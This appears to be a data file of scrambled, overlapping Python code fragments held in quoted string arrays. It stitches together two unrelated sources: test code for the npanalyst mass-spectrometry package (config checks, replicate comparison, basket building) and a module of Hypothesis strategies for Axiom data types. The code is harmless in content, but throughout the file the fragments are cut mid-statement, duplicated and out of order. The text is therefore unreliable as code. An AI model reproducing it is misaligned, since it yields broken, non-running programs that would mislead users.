"0.1 assert np.sum(result_table[\"RetTime\"] - test_table[\"RetTime\"]) < 0.1 # # Define relative path to",
"obtain the reference/ground truth results.\"\"\" configd = configuration.load_config(config_path=None) print(configd) assert configd[\"ACTIVITYTHRESHOLD\"] == 2",
"files from the expected results replicate_file_names = os.listdir(Path(tmpdir, \"expected_replicated_results\")) # # Compare the",
"and compares the two files.\"\"\" result_table = pd.read_csv(reference_path) # # This resorting is",
"Compare the expected basketed file with the produced file dataframe_assertion( reference_path=Path(OUTPUT_FILE_BASKETED), test_path=Path(tmpdir, \"basketed.csv\"),",
"are ordered properly and error messages are # # due to wrong values,",
"the replicate-compared csv files. A full dataframe by dataframe comparison is performed to",
"config=None, ) # # Test length of generated replicated files (=925) length =",
"output CSVs is used as the input. The resulting basket.csv file is compared",
"verbose=False, config=None ) # # Compare the expected basketed file with the produced",
"rep), test_path=Path(tmpdir, \"replicated\", rep), ) # # Remove temporary folder. Windows would not",
"pd import numpy as np import time from npanalyst import configuration, cli from",
"numpy as np import time from npanalyst import configuration, cli from pandas._testing import",
"(=925) length = len(os.listdir(Path(tmpdir, \"replicated\"))) assert length == 925 # # Get replicated",
"used as the input. The resulting basket.csv file is compared to an expected",
"This resorting is just a safe-guard to assure that rows are ordered properly",
"test_path=Path(tmpdir, \"replicated\", rep), ) # # Remove temporary folder. Windows would not delete",
"and AS and CS threshold) def test_config_parameter(): \"\"\"This test shall guarantee that the",
"in replicate_file_names: dataframe_assertion( reference_path=Path(tmpdir, \"expected_replicated_results\", rep), test_path=Path(tmpdir, \"replicated\", rep), ) # # Remove",
") # # Remove temporary folder. Windows would not delete all files. #",
"(\"ppm\", 30.0) assert configd[\"ERRORINFO\"][\"RetTime\"] == (\"window\", 0.03) assert configd[\"MININTENSITY\"] == 2e3 def test_mzml_replicate_comparison():",
"# start = time.time() # # test_mzml_basket_building() # # test_mzml_replicate_comparison() # # test_mzml_basket_building()",
"OUTPUT_FILE_BASKETED = HERE / \"data/basketed_mzml.csv\" # # Test config settings (ms parameter and",
"configd[\"MINREPSBASKETS\"] == 1 assert configd[\"ERRORINFO\"][\"PrecMz\"] == (\"ppm\", 30.0) assert configd[\"ERRORINFO\"][\"RetTime\"] == (\"window\", 0.03)",
"used to obtain the reference/ground truth results.\"\"\" configd = configuration.load_config(config_path=None) print(configd) assert configd[\"ACTIVITYTHRESHOLD\"]",
"them with ZipFile(Path(OUTPUT_FILE_REPLICATED), \"r\") as zip: zip.extractall(Path(tmpdir, \"expected_replicated_results\")) # # Catch all csv",
"option. # shutil.rmtree(tmpdir, ignore_errors=True) def test_mzml_basket_building(): \"\"\"Test for basket building step. A folder",
"messages are # # due to wrong values, not due to interchanged rows",
"pandas._testing import assert_series_equal # # Helper functions def dataframe_assertion(reference_path, test_path): \"\"\"This function reads",
"# test_mzml_basket_building() # # print(f\"This testing took: {(time.time() - start) / 60:.2f} minutes.\")",
"expected replicated files with the produced files for rep in replicate_file_names: dataframe_assertion( reference_path=Path(tmpdir,",
"result_table = pd.read_csv(reference_path) # # This resorting is just a safe-guard to assure",
"1 assert configd[\"ERRORINFO\"][\"PrecMz\"] == (\"ppm\", 30.0) assert configd[\"ERRORINFO\"][\"RetTime\"] == (\"window\", 0.03) assert configd[\"MININTENSITY\"]",
"files (=925) length = len(os.listdir(Path(tmpdir, \"replicated\"))) assert length == 925 # # Get",
"delete all files. # # Python 3.11 seems to enable the ignore_errors function",
"folder for result and test files tmpdir = tempfile.mkdtemp() # # Get replicated",
"output_path=Path(tmpdir), verbose=False, config=None ) # # Compare the expected basketed file with the",
"files HERE = Path(__file__).parent # mzML files INPUT_MZML_FILES = HERE / \"data/BioMAP_mzml_input.zip\" #",
"produced file dataframe_assertion( reference_path=Path(OUTPUT_FILE_BASKETED), test_path=Path(tmpdir, \"basketed.csv\"), ) # # Remove the temp folder",
"# Remove temporary folder. Windows would not delete all files. # # Python",
"3.11 seems to enable the ignore_errors function also for tempfile.TemporaryDirectory() which # #",
"by dataframe comparison is performed to ensure identical csv files.\"\"\" # # Create",
"Python 3.11 seems to enable the ignore_errors function also for tempfile.TemporaryDirectory() which #",
"with the produced files for rep in replicate_file_names: dataframe_assertion( reference_path=Path(tmpdir, \"expected_replicated_results\", rep), test_path=Path(tmpdir,",
"performed to ensure identical csv files.\"\"\" # # Create temporary folder for result",
"csv files. A full dataframe by dataframe comparison is performed to ensure identical"
] |
[
"import datetimes from axiom.attributes import LARGEST_NEGATIVE, LARGEST_POSITIVE def axiomText(*a, **kw): \"\"\" Strategy for",
"for generating lists storable with L{axiom.attributes.textlist}. \"\"\" return st.lists(st.text( alphabet=st.characters( blacklist_categories={'Cs'}, blacklist_characters={u'\\x00', u'\\x02',",
"*a, **kw)) def fixedDecimals(precision, minValue=None, maxValue=None): \"\"\" Strategy for generating L{decimal.Decimal} values of",
"\"\"\" Strategy for generating Axiom-compatible integers. @type minValue: L{int} @param minValue: Minimum value",
"integers. @type minValue: L{int} @param minValue: Minimum value to generate; default is the",
"st.builds(Time.fromDatetime, datetimes(timezones=[], *a, **kw)) def fixedDecimals(precision, minValue=None, maxValue=None): \"\"\" Strategy for generating L{decimal.Decimal}",
"generating L{epsilon.extime.Time} objects. \"\"\" return st.builds(Time.fromDatetime, datetimes(timezones=[], *a, **kw)) def fixedDecimals(precision, minValue=None, maxValue=None):",
"example, C{Decimal('0.01')} for a L{axiom.attributes.point2decimal} attribute. @type minValue: L{decimal.Decimal} @param minValue: The minimum",
"datetimes from axiom.attributes import LARGEST_NEGATIVE, LARGEST_POSITIVE def axiomText(*a, **kw): \"\"\" Strategy for generating",
"for the least possible. @type minValue: L{decimal.Decimal} @param minValue: The maximum value to",
"def axiomText(*a, **kw): \"\"\" Strategy for generating Axiom-compatible text values. \"\"\" return st.text(",
"text values. \"\"\" return st.text( alphabet=st.characters( blacklist_categories={'Cs'}, blacklist_characters={u'\\x00'}), *a, **kw) def textlists(): \"\"\"",
"@type minValue: L{decimal.Decimal} @param minValue: The maximum value to generate, or C{None} for",
"attribute. \"\"\" return st.integers(min_value=minValue, max_value=maxValue) def timestamps(*a, **kw): \"\"\" Strategy for generating L{epsilon.extime.Time}",
"fixed precision. @type precision: L{decimal.Decimal} @param precision: The precision to use; for example,",
"manValue: L{int} @param manValue: Maximum value to generate; default is the greatest value",
"@param precision: The precision to use; for example, C{Decimal('0.01')} for a L{axiom.attributes.point2decimal} attribute.",
"L{axiom.attributes.integer} attribute. \"\"\" return st.integers(min_value=minValue, max_value=maxValue) def timestamps(*a, **kw): \"\"\" Strategy for generating",
"LARGEST_POSITIVE else: maxValue = int(maxValue / precision) return st.integers(min_value=minValue, max_value=maxValue).map( lambda v: v",
"to generate; default is the greatest value that can be stored in an",
"maxValue=LARGEST_POSITIVE): \"\"\" Strategy for generating Axiom-compatible integers. @type minValue: L{int} @param minValue: Minimum",
"u'\\x1f'}))) def axiomIntegers(minValue=LARGEST_NEGATIVE, maxValue=LARGEST_POSITIVE): \"\"\" Strategy for generating Axiom-compatible integers. @type minValue: L{int}",
"can be stored in an L{axiom.attributes.integer} attribute. \"\"\" return st.integers(min_value=minValue, max_value=maxValue) def timestamps(*a,",
"possible. \"\"\" if minValue is None: minValue = LARGEST_NEGATIVE else: minValue = int(minValue",
"L{decimal.Decimal} @param minValue: The maximum value to generate, or C{None} for the greatest",
"maxValue = int(maxValue / precision) return st.integers(min_value=minValue, max_value=maxValue).map( lambda v: v * precision)",
"an L{axiom.attributes.integer} attribute. \"\"\" return st.integers(min_value=minValue, max_value=maxValue) def timestamps(*a, **kw): \"\"\" Strategy for",
"generating Axiom-compatible integers. @type minValue: L{int} @param minValue: Minimum value to generate; default",
"maxValue=None): \"\"\" Strategy for generating L{decimal.Decimal} values of a fixed precision. @type precision:",
"values of a fixed precision. @type precision: L{decimal.Decimal} @param precision: The precision to",
"precision to use; for example, C{Decimal('0.01')} for a L{axiom.attributes.point2decimal} attribute. @type minValue: L{decimal.Decimal}",
"attribute. @type manValue: L{int} @param manValue: Maximum value to generate; default is the",
"\"\"\" Hypothesis strategies for generating Axiom-related data. \"\"\" from epsilon.extime import Time from",
"the greatest possible. \"\"\" if minValue is None: minValue = LARGEST_NEGATIVE else: minValue",
"L{int} @param minValue: Minimum value to generate; default is the least value that",
"Axiom-compatible integers. @type minValue: L{int} @param minValue: Minimum value to generate; default is",
"a fixed precision. @type precision: L{decimal.Decimal} @param precision: The precision to use; for",
"def timestamps(*a, **kw): \"\"\" Strategy for generating L{epsilon.extime.Time} objects. \"\"\" return st.builds(Time.fromDatetime, datetimes(timezones=[],",
"Time from hypothesis import strategies as st from hypothesis.extra.datetime import datetimes from axiom.attributes",
"precision. @type precision: L{decimal.Decimal} @param precision: The precision to use; for example, C{Decimal('0.01')}",
"\"\"\" return st.builds(Time.fromDatetime, datetimes(timezones=[], *a, **kw)) def fixedDecimals(precision, minValue=None, maxValue=None): \"\"\" Strategy for",
"**kw): \"\"\" Strategy for generating L{epsilon.extime.Time} objects. \"\"\" return st.builds(Time.fromDatetime, datetimes(timezones=[], *a, **kw))",
"= int(maxValue / precision) return st.integers(min_value=minValue, max_value=maxValue).map( lambda v: v * precision) __all__",
"generating lists storable with L{axiom.attributes.textlist}. \"\"\" return st.lists(st.text( alphabet=st.characters( blacklist_categories={'Cs'}, blacklist_characters={u'\\x00', u'\\x02', u'\\x1f'})))",
"generating L{decimal.Decimal} values of a fixed precision. @type precision: L{decimal.Decimal} @param precision: The",
"return st.lists(st.text( alphabet=st.characters( blacklist_categories={'Cs'}, blacklist_characters={u'\\x00', u'\\x02', u'\\x1f'}))) def axiomIntegers(minValue=LARGEST_NEGATIVE, maxValue=LARGEST_POSITIVE): \"\"\" Strategy for",
"timestamps(*a, **kw): \"\"\" Strategy for generating L{epsilon.extime.Time} objects. \"\"\" return st.builds(Time.fromDatetime, datetimes(timezones=[], *a,",
"minValue: L{decimal.Decimal} @param minValue: The minimum value to generate, or C{None} for the",
"to generate, or C{None} for the least possible. @type minValue: L{decimal.Decimal} @param minValue:",
"is the least value that can be stored in an L{axiom.attributes.integer} attribute. @type",
"fixedDecimals(precision, minValue=None, maxValue=None): \"\"\" Strategy for generating L{decimal.Decimal} values of a fixed precision.",
"@type precision: L{decimal.Decimal} @param precision: The precision to use; for example, C{Decimal('0.01')} for",
"blacklist_characters={u'\\x00'}), *a, **kw) def textlists(): \"\"\" Strategy for generating lists storable with L{axiom.attributes.textlist}.",
"generate, or C{None} for the greatest possible. \"\"\" if minValue is None: minValue",
"/ precision) return st.integers(min_value=minValue, max_value=maxValue).map( lambda v: v * precision) __all__ = [",
"L{int} @param manValue: Maximum value to generate; default is the greatest value that",
"return st.integers(min_value=minValue, max_value=maxValue) def timestamps(*a, **kw): \"\"\" Strategy for generating L{epsilon.extime.Time} objects. \"\"\"",
"if maxValue is None: maxValue = LARGEST_POSITIVE else: maxValue = int(maxValue / precision)",
"precision) return st.integers(min_value=minValue, max_value=maxValue).map( lambda v: v * precision) __all__ = [ 'axiomText',",
"a L{axiom.attributes.point2decimal} attribute. @type minValue: L{decimal.Decimal} @param minValue: The minimum value to generate,",
"@type manValue: L{int} @param manValue: Maximum value to generate; default is the greatest",
"be stored in an L{axiom.attributes.integer} attribute. \"\"\" return st.integers(min_value=minValue, max_value=maxValue) def timestamps(*a, **kw):",
"int(minValue / precision) if maxValue is None: maxValue = LARGEST_POSITIVE else: maxValue =",
"\"\"\" Strategy for generating L{decimal.Decimal} values of a fixed precision. @type precision: L{decimal.Decimal}",
"lists storable with L{axiom.attributes.textlist}. \"\"\" return st.lists(st.text( alphabet=st.characters( blacklist_categories={'Cs'}, blacklist_characters={u'\\x00', u'\\x02', u'\\x1f'}))) def",
"L{axiom.attributes.integer} attribute. @type manValue: L{int} @param manValue: Maximum value to generate; default is",
"of a fixed precision. @type precision: L{decimal.Decimal} @param precision: The precision to use;",
"\"\"\" return st.text( alphabet=st.characters( blacklist_categories={'Cs'}, blacklist_characters={u'\\x00'}), *a, **kw) def textlists(): \"\"\" Strategy for",
"alphabet=st.characters( blacklist_categories={'Cs'}, blacklist_characters={u'\\x00'}), *a, **kw) def textlists(): \"\"\" Strategy for generating lists storable",
"blacklist_characters={u'\\x00', u'\\x02', u'\\x1f'}))) def axiomIntegers(minValue=LARGEST_NEGATIVE, maxValue=LARGEST_POSITIVE): \"\"\" Strategy for generating Axiom-compatible integers. @type",
"for generating L{decimal.Decimal} values of a fixed precision. @type precision: L{decimal.Decimal} @param precision:",
"for generating L{epsilon.extime.Time} objects. \"\"\" return st.builds(Time.fromDatetime, datetimes(timezones=[], *a, **kw)) def fixedDecimals(precision, minValue=None,",
"value to generate; default is the greatest value that can be stored in",
"@type minValue: L{decimal.Decimal} @param minValue: The minimum value to generate, or C{None} for",
"C{None} for the least possible. @type minValue: L{decimal.Decimal} @param minValue: The maximum value",
"that can be stored in an L{axiom.attributes.integer} attribute. \"\"\" return st.integers(min_value=minValue, max_value=maxValue) def",
"stored in an L{axiom.attributes.integer} attribute. \"\"\" return st.integers(min_value=minValue, max_value=maxValue) def timestamps(*a, **kw): \"\"\"",
"Strategy for generating Axiom-compatible text values. \"\"\" return st.text( alphabet=st.characters( blacklist_categories={'Cs'}, blacklist_characters={u'\\x00'}), *a,",
"\"\"\" return st.integers(min_value=minValue, max_value=maxValue) def timestamps(*a, **kw): \"\"\" Strategy for generating L{epsilon.extime.Time} objects.",
"generate, or C{None} for the least possible. @type minValue: L{decimal.Decimal} @param minValue: The",
"def textlists(): \"\"\" Strategy for generating lists storable with L{axiom.attributes.textlist}. \"\"\" return st.lists(st.text(",
"st from hypothesis.extra.datetime import datetimes from axiom.attributes import LARGEST_NEGATIVE, LARGEST_POSITIVE def axiomText(*a, **kw):",
"minValue: L{int} @param minValue: Minimum value to generate; default is the least value",
"C{Decimal('0.01')} for a L{axiom.attributes.point2decimal} attribute. @type minValue: L{decimal.Decimal} @param minValue: The minimum value",
"hypothesis import strategies as st from hypothesis.extra.datetime import datetimes from axiom.attributes import LARGEST_NEGATIVE,",
"Axiom-related data. \"\"\" from epsilon.extime import Time from hypothesis import strategies as st",
"\"\"\" if minValue is None: minValue = LARGEST_NEGATIVE else: minValue = int(minValue /",
"return st.text( alphabet=st.characters( blacklist_categories={'Cs'}, blacklist_characters={u'\\x00'}), *a, **kw) def textlists(): \"\"\" Strategy for generating",
"= LARGEST_POSITIVE else: maxValue = int(maxValue / precision) return st.integers(min_value=minValue, max_value=maxValue).map( lambda v:",
"precision: L{decimal.Decimal} @param precision: The precision to use; for example, C{Decimal('0.01')} for a",
"@param minValue: The minimum value to generate, or C{None} for the least possible.",
"\"\"\" from epsilon.extime import Time from hypothesis import strategies as st from hypothesis.extra.datetime",
"or C{None} for the least possible. @type minValue: L{decimal.Decimal} @param minValue: The maximum",
"default is the least value that can be stored in an L{axiom.attributes.integer} attribute.",
"that can be stored in an L{axiom.attributes.integer} attribute. @type manValue: L{int} @param manValue:",
"st.integers(min_value=minValue, max_value=maxValue) def timestamps(*a, **kw): \"\"\" Strategy for generating L{epsilon.extime.Time} objects. \"\"\" return",
"import LARGEST_NEGATIVE, LARGEST_POSITIVE def axiomText(*a, **kw): \"\"\" Strategy for generating Axiom-compatible text values.",
"greatest possible. \"\"\" if minValue is None: minValue = LARGEST_NEGATIVE else: minValue =",
"least possible. @type minValue: L{decimal.Decimal} @param minValue: The maximum value to generate, or",
"can be stored in an L{axiom.attributes.integer} attribute. @type manValue: L{int} @param manValue: Maximum",
"for generating Axiom-related data. \"\"\" from epsilon.extime import Time from hypothesis import strategies",
"generating Axiom-compatible text values. \"\"\" return st.text( alphabet=st.characters( blacklist_categories={'Cs'}, blacklist_characters={u'\\x00'}), *a, **kw) def",
"**kw): \"\"\" Strategy for generating Axiom-compatible text values. \"\"\" return st.text( alphabet=st.characters( blacklist_categories={'Cs'},",
"textlists(): \"\"\" Strategy for generating lists storable with L{axiom.attributes.textlist}. \"\"\" return st.lists(st.text( alphabet=st.characters(",
"Strategy for generating lists storable with L{axiom.attributes.textlist}. \"\"\" return st.lists(st.text( alphabet=st.characters( blacklist_categories={'Cs'}, blacklist_characters={u'\\x00',",
"Minimum value to generate; default is the least value that can be stored",
"**kw)) def fixedDecimals(precision, minValue=None, maxValue=None): \"\"\" Strategy for generating L{decimal.Decimal} values of a",
"as st from hypothesis.extra.datetime import datetimes from axiom.attributes import LARGEST_NEGATIVE, LARGEST_POSITIVE def axiomText(*a,",
"datetimes(timezones=[], *a, **kw)) def fixedDecimals(precision, minValue=None, maxValue=None): \"\"\" Strategy for generating L{decimal.Decimal} values",
"data. \"\"\" from epsilon.extime import Time from hypothesis import strategies as st from",
"Maximum value to generate; default is the greatest value that can be stored",
"use; for example, C{Decimal('0.01')} for a L{axiom.attributes.point2decimal} attribute. @type minValue: L{decimal.Decimal} @param minValue:",
"the greatest value that can be stored in an L{axiom.attributes.integer} attribute. \"\"\" return",
"None: maxValue = LARGEST_POSITIVE else: maxValue = int(maxValue / precision) return st.integers(min_value=minValue, max_value=maxValue).map(",
"value to generate; default is the least value that can be stored in",
"@param minValue: Minimum value to generate; default is the least value that can",
"@param minValue: The maximum value to generate, or C{None} for the greatest possible.",
"generate; default is the greatest value that can be stored in an L{axiom.attributes.integer}",
"L{axiom.attributes.textlist}. \"\"\" return st.lists(st.text( alphabet=st.characters( blacklist_categories={'Cs'}, blacklist_characters={u'\\x00', u'\\x02', u'\\x1f'}))) def axiomIntegers(minValue=LARGEST_NEGATIVE, maxValue=LARGEST_POSITIVE): \"\"\"",
"attribute. @type minValue: L{decimal.Decimal} @param minValue: The minimum value to generate, or C{None}",
"minValue: The minimum value to generate, or C{None} for the least possible. @type",
"to use; for example, C{Decimal('0.01')} for a L{axiom.attributes.point2decimal} attribute. @type minValue: L{decimal.Decimal} @param",
"value that can be stored in an L{axiom.attributes.integer} attribute. @type manValue: L{int} @param",
"u'\\x02', u'\\x1f'}))) def axiomIntegers(minValue=LARGEST_NEGATIVE, maxValue=LARGEST_POSITIVE): \"\"\" Strategy for generating Axiom-compatible integers. @type minValue:",
"minValue: L{decimal.Decimal} @param minValue: The maximum value to generate, or C{None} for the",
"for generating Axiom-compatible text values. \"\"\" return st.text( alphabet=st.characters( blacklist_categories={'Cs'}, blacklist_characters={u'\\x00'}), *a, **kw)",
"= LARGEST_NEGATIVE else: minValue = int(minValue / precision) if maxValue is None: maxValue",
"for generating Axiom-compatible integers. @type minValue: L{int} @param minValue: Minimum value to generate;",
"maximum value to generate, or C{None} for the greatest possible. \"\"\" if minValue",
"minimum value to generate, or C{None} for the least possible. @type minValue: L{decimal.Decimal}",
"minValue is None: minValue = LARGEST_NEGATIVE else: minValue = int(minValue / precision) if",
"values. \"\"\" return st.text( alphabet=st.characters( blacklist_categories={'Cs'}, blacklist_characters={u'\\x00'}), *a, **kw) def textlists(): \"\"\" Strategy",
"hypothesis.extra.datetime import datetimes from axiom.attributes import LARGEST_NEGATIVE, LARGEST_POSITIVE def axiomText(*a, **kw): \"\"\" Strategy",
"minValue=None, maxValue=None): \"\"\" Strategy for generating L{decimal.Decimal} values of a fixed precision. @type",
"value to generate, or C{None} for the least possible. @type minValue: L{decimal.Decimal} @param",
"= int(minValue / precision) if maxValue is None: maxValue = LARGEST_POSITIVE else: maxValue",
"C{None} for the greatest possible. \"\"\" if minValue is None: minValue = LARGEST_NEGATIVE",
"for example, C{Decimal('0.01')} for a L{axiom.attributes.point2decimal} attribute. @type minValue: L{decimal.Decimal} @param minValue: The",
"st.lists(st.text( alphabet=st.characters( blacklist_categories={'Cs'}, blacklist_characters={u'\\x00', u'\\x02', u'\\x1f'}))) def axiomIntegers(minValue=LARGEST_NEGATIVE, maxValue=LARGEST_POSITIVE): \"\"\" Strategy for generating",
"greatest value that can be stored in an L{axiom.attributes.integer} attribute. \"\"\" return st.integers(min_value=minValue,",
"value that can be stored in an L{axiom.attributes.integer} attribute. \"\"\" return st.integers(min_value=minValue, max_value=maxValue)",
"**kw) def textlists(): \"\"\" Strategy for generating lists storable with L{axiom.attributes.textlist}. \"\"\" return",
"axiomIntegers(minValue=LARGEST_NEGATIVE, maxValue=LARGEST_POSITIVE): \"\"\" Strategy for generating Axiom-compatible integers. @type minValue: L{int} @param minValue:",
"stored in an L{axiom.attributes.integer} attribute. @type manValue: L{int} @param manValue: Maximum value to",
"is the greatest value that can be stored in an L{axiom.attributes.integer} attribute. \"\"\"",
"strategies for generating Axiom-related data. \"\"\" from epsilon.extime import Time from hypothesis import",
"st.integers(min_value=minValue, max_value=maxValue).map( lambda v: v * precision) __all__ = [ 'axiomText', 'axiomIntegers', 'fixedDecimals',",
"LARGEST_POSITIVE def axiomText(*a, **kw): \"\"\" Strategy for generating Axiom-compatible text values. \"\"\" return",
"or C{None} for the greatest possible. \"\"\" if minValue is None: minValue =",
"Axiom-compatible text values. \"\"\" return st.text( alphabet=st.characters( blacklist_categories={'Cs'}, blacklist_characters={u'\\x00'}), *a, **kw) def textlists():",
"generate; default is the least value that can be stored in an L{axiom.attributes.integer}",
"L{decimal.Decimal} values of a fixed precision. @type precision: L{decimal.Decimal} @param precision: The precision",
"in an L{axiom.attributes.integer} attribute. @type manValue: L{int} @param manValue: Maximum value to generate;",
"default is the greatest value that can be stored in an L{axiom.attributes.integer} attribute.",
"The minimum value to generate, or C{None} for the least possible. @type minValue:",
"LARGEST_NEGATIVE, LARGEST_POSITIVE def axiomText(*a, **kw): \"\"\" Strategy for generating Axiom-compatible text values. \"\"\"",
"@param manValue: Maximum value to generate; default is the greatest value that can",
"st.text( alphabet=st.characters( blacklist_categories={'Cs'}, blacklist_characters={u'\\x00'}), *a, **kw) def textlists(): \"\"\" Strategy for generating lists",
"blacklist_categories={'Cs'}, blacklist_characters={u'\\x00'}), *a, **kw) def textlists(): \"\"\" Strategy for generating lists storable with",
"Strategy for generating L{epsilon.extime.Time} objects. \"\"\" return st.builds(Time.fromDatetime, datetimes(timezones=[], *a, **kw)) def fixedDecimals(precision,",
"alphabet=st.characters( blacklist_categories={'Cs'}, blacklist_characters={u'\\x00', u'\\x02', u'\\x1f'}))) def axiomIntegers(minValue=LARGEST_NEGATIVE, maxValue=LARGEST_POSITIVE): \"\"\" Strategy for generating Axiom-compatible",
"L{decimal.Decimal} @param precision: The precision to use; for example, C{Decimal('0.01')} for a L{axiom.attributes.point2decimal}",
"return st.builds(Time.fromDatetime, datetimes(timezones=[], *a, **kw)) def fixedDecimals(precision, minValue=None, maxValue=None): \"\"\" Strategy for generating",
"minValue = LARGEST_NEGATIVE else: minValue = int(minValue / precision) if maxValue is None:",
"precision: The precision to use; for example, C{Decimal('0.01')} for a L{axiom.attributes.point2decimal} attribute. @type",
"import Time from hypothesis import strategies as st from hypothesis.extra.datetime import datetimes from",
"strategies as st from hypothesis.extra.datetime import datetimes from axiom.attributes import LARGEST_NEGATIVE, LARGEST_POSITIVE def",
"if minValue is None: minValue = LARGEST_NEGATIVE else: minValue = int(minValue / precision)",
"@type minValue: L{int} @param minValue: Minimum value to generate; default is the least",
"import strategies as st from hypothesis.extra.datetime import datetimes from axiom.attributes import LARGEST_NEGATIVE, LARGEST_POSITIVE",
"Strategy for generating L{decimal.Decimal} values of a fixed precision. @type precision: L{decimal.Decimal} @param",
"is None: maxValue = LARGEST_POSITIVE else: maxValue = int(maxValue / precision) return st.integers(min_value=minValue,",
"minValue: Minimum value to generate; default is the least value that can be",
"for a L{axiom.attributes.point2decimal} attribute. @type minValue: L{decimal.Decimal} @param minValue: The minimum value to",
"storable with L{axiom.attributes.textlist}. \"\"\" return st.lists(st.text( alphabet=st.characters( blacklist_categories={'Cs'}, blacklist_characters={u'\\x00', u'\\x02', u'\\x1f'}))) def axiomIntegers(minValue=LARGEST_NEGATIVE,",
"Strategy for generating Axiom-compatible integers. @type minValue: L{int} @param minValue: Minimum value to",
"blacklist_categories={'Cs'}, blacklist_characters={u'\\x00', u'\\x02', u'\\x1f'}))) def axiomIntegers(minValue=LARGEST_NEGATIVE, maxValue=LARGEST_POSITIVE): \"\"\" Strategy for generating Axiom-compatible integers.",
"minValue: The maximum value to generate, or C{None} for the greatest possible. \"\"\"",
"the least possible. @type minValue: L{decimal.Decimal} @param minValue: The maximum value to generate,",
"\"\"\" Strategy for generating Axiom-compatible text values. \"\"\" return st.text( alphabet=st.characters( blacklist_categories={'Cs'}, blacklist_characters={u'\\x00'}),",
"max_value=maxValue) def timestamps(*a, **kw): \"\"\" Strategy for generating L{epsilon.extime.Time} objects. \"\"\" return st.builds(Time.fromDatetime,",
"possible. @type minValue: L{decimal.Decimal} @param minValue: The maximum value to generate, or C{None}",
"epsilon.extime import Time from hypothesis import strategies as st from hypothesis.extra.datetime import datetimes",
"least value that can be stored in an L{axiom.attributes.integer} attribute. @type manValue: L{int}",
"def fixedDecimals(precision, minValue=None, maxValue=None): \"\"\" Strategy for generating L{decimal.Decimal} values of a fixed",
"value to generate, or C{None} for the greatest possible. \"\"\" if minValue is",
"minValue = int(minValue / precision) if maxValue is None: maxValue = LARGEST_POSITIVE else:",
"return st.integers(min_value=minValue, max_value=maxValue).map( lambda v: v * precision) __all__ = [ 'axiomText', 'axiomIntegers',",
"max_value=maxValue).map( lambda v: v * precision) __all__ = [ 'axiomText', 'axiomIntegers', 'fixedDecimals', 'timestamps',",
"axiom.attributes import LARGEST_NEGATIVE, LARGEST_POSITIVE def axiomText(*a, **kw): \"\"\" Strategy for generating Axiom-compatible text",
"Hypothesis strategies for generating Axiom-related data. \"\"\" from epsilon.extime import Time from hypothesis",
"from hypothesis import strategies as st from hypothesis.extra.datetime import datetimes from axiom.attributes import",
"an L{axiom.attributes.integer} attribute. @type manValue: L{int} @param manValue: Maximum value to generate; default",
"in an L{axiom.attributes.integer} attribute. \"\"\" return st.integers(min_value=minValue, max_value=maxValue) def timestamps(*a, **kw): \"\"\" Strategy",
"None: minValue = LARGEST_NEGATIVE else: minValue = int(minValue / precision) if maxValue is",
"\"\"\" Strategy for generating lists storable with L{axiom.attributes.textlist}. \"\"\" return st.lists(st.text( alphabet=st.characters( blacklist_categories={'Cs'},",
"else: minValue = int(minValue / precision) if maxValue is None: maxValue = LARGEST_POSITIVE",
"be stored in an L{axiom.attributes.integer} attribute. @type manValue: L{int} @param manValue: Maximum value",
"L{axiom.attributes.point2decimal} attribute. @type minValue: L{decimal.Decimal} @param minValue: The minimum value to generate, or",
"from epsilon.extime import Time from hypothesis import strategies as st from hypothesis.extra.datetime import",
"axiomText(*a, **kw): \"\"\" Strategy for generating Axiom-compatible text values. \"\"\" return st.text( alphabet=st.characters(",
"with L{axiom.attributes.textlist}. \"\"\" return st.lists(st.text( alphabet=st.characters( blacklist_categories={'Cs'}, blacklist_characters={u'\\x00', u'\\x02', u'\\x1f'}))) def axiomIntegers(minValue=LARGEST_NEGATIVE, maxValue=LARGEST_POSITIVE):",
"*a, **kw) def textlists(): \"\"\" Strategy for generating lists storable with L{axiom.attributes.textlist}. \"\"\"",
"L{decimal.Decimal} @param minValue: The minimum value to generate, or C{None} for the least",
"The maximum value to generate, or C{None} for the greatest possible. \"\"\" if",
"to generate, or C{None} for the greatest possible. \"\"\" if minValue is None:",
"else: maxValue = int(maxValue / precision) return st.integers(min_value=minValue, max_value=maxValue).map( lambda v: v *",
"The precision to use; for example, C{Decimal('0.01')} for a L{axiom.attributes.point2decimal} attribute. @type minValue:",
"int(maxValue / precision) return st.integers(min_value=minValue, max_value=maxValue).map( lambda v: v * precision) __all__ =",
"generating Axiom-related data. \"\"\" from epsilon.extime import Time from hypothesis import strategies as",
"from axiom.attributes import LARGEST_NEGATIVE, LARGEST_POSITIVE def axiomText(*a, **kw): \"\"\" Strategy for generating Axiom-compatible",
"the least value that can be stored in an L{axiom.attributes.integer} attribute. @type manValue:",
"is None: minValue = LARGEST_NEGATIVE else: minValue = int(minValue / precision) if maxValue",
"maxValue = LARGEST_POSITIVE else: maxValue = int(maxValue / precision) return st.integers(min_value=minValue, max_value=maxValue).map( lambda",
"LARGEST_NEGATIVE else: minValue = int(minValue / precision) if maxValue is None: maxValue =",
"precision) if maxValue is None: maxValue = LARGEST_POSITIVE else: maxValue = int(maxValue /",
"def axiomIntegers(minValue=LARGEST_NEGATIVE, maxValue=LARGEST_POSITIVE): \"\"\" Strategy for generating Axiom-compatible integers. @type minValue: L{int} @param",
"L{epsilon.extime.Time} objects. \"\"\" return st.builds(Time.fromDatetime, datetimes(timezones=[], *a, **kw)) def fixedDecimals(precision, minValue=None, maxValue=None): \"\"\"",
"to generate; default is the least value that can be stored in an",
"from hypothesis.extra.datetime import datetimes from axiom.attributes import LARGEST_NEGATIVE, LARGEST_POSITIVE def axiomText(*a, **kw): \"\"\"",
"maxValue is None: maxValue = LARGEST_POSITIVE else: maxValue = int(maxValue / precision) return",
"manValue: Maximum value to generate; default is the greatest value that can be",
"lambda v: v * precision) __all__ = [ 'axiomText', 'axiomIntegers', 'fixedDecimals', 'timestamps', 'textlists']",
"\"\"\" Strategy for generating L{epsilon.extime.Time} objects. \"\"\" return st.builds(Time.fromDatetime, datetimes(timezones=[], *a, **kw)) def",
"objects. \"\"\" return st.builds(Time.fromDatetime, datetimes(timezones=[], *a, **kw)) def fixedDecimals(precision, minValue=None, maxValue=None): \"\"\" Strategy",
"/ precision) if maxValue is None: maxValue = LARGEST_POSITIVE else: maxValue = int(maxValue",
"\"\"\" return st.lists(st.text( alphabet=st.characters( blacklist_categories={'Cs'}, blacklist_characters={u'\\x00', u'\\x02', u'\\x1f'}))) def axiomIntegers(minValue=LARGEST_NEGATIVE, maxValue=LARGEST_POSITIVE): \"\"\" Strategy",
"for the greatest possible. \"\"\" if minValue is None: minValue = LARGEST_NEGATIVE else:"
] |
[
